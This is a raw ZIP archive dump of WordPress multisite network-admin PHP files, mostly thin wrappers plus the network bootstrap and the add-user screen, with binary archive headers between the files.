int $id The site ID. */ do_action( 'network_site_info_form', $id ); submit_button(); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; PK �*s\�]Z}� � profile.phpnu �[��� <?php /** * User profile network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/profile.php'; PK �*s\�� � about.phpnu �[��� <?php /** * Network About administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/about.php'; PK �*s\���d� � freedoms.phpnu �[��� <?php /** * Network Freedoms administration panel. * * @package WordPress * @subpackage Multisite * @since 3.4.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/freedoms.php'; PK �*s\P�h admin.phpnu �[��� <?php /** * WordPress Network Administration Bootstrap * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ define( 'WP_NETWORK_ADMIN', true ); /** Load WordPress Administration Bootstrap */ require_once dirname( __DIR__ ) . '/admin.php'; // Do not remove this check. It is required by individual network admin pages. if ( ! is_multisite() ) { wp_die( __( 'Multisite support is not enabled.' ) ); } $redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) ); /** * Filters whether to redirect the request to the Network Admin. * * @since 3.2.0 * * @param bool $redirect_network_admin_request Whether the request should be redirected. */ $redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request ); if ( $redirect_network_admin_request ) { wp_redirect( network_admin_url() ); exit; } unset( $redirect_network_admin_request ); PK �*s\�w�,� � user-edit.phpnu �[��� <?php /** * Edit user network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; PK �*s\4�� � update-core.phpnu �[��� <?php /** * Updates network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/update-core.php'; PK �*s\�� � privacy.phpnu �[��� <?php /** * Network Privacy administration panel. * * @package WordPress * @subpackage Multisite * @since 4.9.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/privacy.php'; PK �*s\Yˏ=l l user-new.phpnu �[��� <?php /** * Add User network administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'create_users' ) ) { wp_die( __( 'Sorry, you are not allowed to add users to this network.' ) ); } get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '<p>' . __( 'Add User will set up a new user account on the network and send that person an email with username and password.' ) . '</p>' . '<p>' . __( 'Users who are signed up to the network without a site are added as subscribers to the main or primary dashboard site, giving them profile pages to manage their accounts. These users will only see Dashboard and My Sites in the main navigation until a site is created for them.' ) . '</p>', ) ); get_current_screen()->set_help_sidebar( '<p><strong>' . __( 'For more information:' ) . '</strong></p>' . '<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' . '<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>' ); if ( isset( $_REQUEST['action'] ) && 'add-user' === $_REQUEST['action'] ) { check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! current_user_can( 'manage_network_users' ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } if ( ! is_array( $_POST['user'] ) ) { wp_die( __( 'Cannot create an empty user.' ) ); } $user = wp_unslash( $_POST['user'] ); $user_details = wpmu_validate_user_signup( $user['username'], $user['email'] ); if ( is_wp_error( $user_details['errors'] ) && $user_details['errors']->has_errors() ) { $add_user_errors = $user_details['errors']; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) ); if ( ! $user_id ) { $add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) ); } else { /** * Fires after a new user has been created via the network user-new.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_user_new_created_user', $user_id ); wp_redirect( add_query_arg( array( 'update' => 'added', 'user_id' => $user_id, ), 'user-new.php' ) ); exit; } } } $message = ''; if ( isset( $_GET['update'] ) ) { if ( 'added' === $_GET['update'] ) { $edit_link = ''; if ( isset( $_GET['user_id'] ) ) { $user_id_new = absint( $_GET['user_id'] ); if ( $user_id_new ) { $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) ); } } $message = __( 'User added.' ); if ( $edit_link ) { $message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) ); } } } // Used in the HTML title tag. $title = __( 'Add User' ); $parent_file = 'users.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <div class="wrap"> <h1 id="add-new-user"><?php _e( 'Add User' ); ?></h1> <?php if ( '' !== $message ) { wp_admin_notice( $message, array( 'type' => 'success', 'dismissible' => true, 'id' => 'message', ) ); } if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) { $error_messages = ''; foreach ( $add_user_errors->get_error_messages() as $error ) { $error_messages .= "<p>$error</p>"; } wp_admin_notice( $error_messages, array( 'type' => 'error', 'dismissible' => true, 'id' => 'message', 'paragraph_wrap' => false, ) ); } ?> <form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate"> <p><?php echo wp_required_field_message(); ?></p> <table class="form-table" role="presentation"> <tr class="form-field form-required"> <th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td> </tr> <tr class="form-field form-required"> <th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th> <td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php /** * Fires at the end of the new user form in network admin. * * @since 4.5.0 */ do_action( 'network_user_new_form' ); wp_nonce_field( 'add-user', '_wpnonce_add-user' ); submit_button( __( 'Add User' ), 'primary', 'add-user' ); ?> </form> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php'; PK �*s\��V� � plugins.phpnu �[��� <?php /** * Network Plugins administration panel. * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/plugins.php'; PK �*s\��u>